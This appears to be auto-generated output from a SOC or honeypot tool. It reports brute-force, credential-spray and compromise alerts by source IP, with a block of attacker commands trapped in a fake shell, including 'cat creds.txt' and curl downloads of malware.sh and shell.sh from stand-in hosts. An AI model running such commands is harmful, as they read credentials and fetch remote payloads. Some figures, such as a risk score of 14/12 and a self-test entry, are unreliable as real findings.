========================= SOC INCIDENT REPORT ========================= 
 Generated at : 2026-10-23 17:45:44
Total Events : 142 | Failed : 74 | Success : 39
Attack Window : 2026-10-15 10:00:10 to 2026-10-15 10:00:50 | Duration : 0:00:40
Incident Dossier | Attacker IP : 192.168.1.100
Threat Origin : RFC-1918 Private Intranet (Internal Threat / Lateral Movement)
Threat Severity : Critical | Risk Score : 14/12
Rules Triggered : Auth-001 threshold exceeded, Rule-Auth 004 Credential Spray, Auth-002 Targeted Probing, Auth-003 Compromise Correlation
Attack Timeline & Timeline Evidence : 
 Generated high volume of traffic | Failed login attempts : 40
Probed Multiple Accounts to evade lockout : ['Sobaan', 'Saransh', 'admin', 'Danish']
Repeatedly hammered high-value account 'admin' .
Critical Breach : Cracked credentials and logged into : ['Vedansh', 'Danish', 'Vedansh', 'Sohail', 'Vedansh', 'Danish', 'Vedansh', 'Sohail', 'Vedansh', 'Danish', 'Vedansh', 'Sohail', 'Vedansh', 'Danish', 'Vedansh', 'Sohail', 'Vedansh']
Attack Window : 2026-10-15 10:00:15 to 2026-10-15 10:00:30 | Duration : 0:00:15
Incident Dossier | Attacker IP : 10.0.0.45
Threat Origin : RFC-1918 Private Intranet (Internal Threat / Lateral Movement)
Threat Severity : High | Risk Score : 7/12
Rules Triggered : Auth-001 threshold exceeded, Auth-002 Targeted Probing
Attack Timeline & Timeline Evidence : 
 Generated high volume of traffic | Failed login attempts : 20
Repeatedly hammered high-value account 'admin' .
Attack Window : 2026-10-17 15:15:11 to 2026-10-23 03:07:50 | Duration : 5 days, 11:52:39
! Post-Exploitation Commands Trapped in Fake Shell:
      -> whoami
      -> id
      -> ls
      -> cat creds.txt
      -> curl http://attacker.com/malware.sh <-- Malware / Download Attempt 
      -> whoami
      -> ls
      -> cat
      -> curl http://evil.com/shell.sh <-- Malware / Download Attempt 
      -> whoami
      -> ls
      -> cat creds.txt
      -> whoami
      -> ls
      -> cat creds.txt
Incident Dossier | Attacker IP : 127.0.0.1
Threat Origin :  Localhost / Loopback Interface (Self-Test)
Threat Severity : Critical | Risk Score : 12/12
Rules Triggered : Auth-001 threshold exceeded, Auth-002 Targeted Probing, Auth-003 Compromise Correlation
Attack Timeline & Timeline Evidence : 
 Generated high volume of traffic | Failed login attempts : 8
Repeatedly hammered high-value account 'admin' .
Critical Breach : Cracked credentials and logged into : ['admin123', 'admin123', 'admin123', 'admin123', 'admin']
Attack Window : 2026-10-18 16:40:01 to 2026-10-18 16:40:06 | Duration : 0:00:05
Incident Dossier | Attacker IP : 185.220.101.5
Threat Origin : Public Internet :- Germany | Brandenburg an der Havel | Org : Stiftung Erneuerbare Freiheit
Threat Severity : Critical | Risk Score : 9/12
Rules Triggered : Auth-001 threshold exceeded, Rule-Auth 004 Credential Spray, Auth-002 Targeted Probing
Attack Timeline & Timeline Evidence : 
 Generated high volume of traffic | Failed login attempts : 6
Probed Multiple Accounts to evade lockout : ['support', 'root', 'admin', 'ubuntu']
Repeatedly hammered high-value account 'admin' .
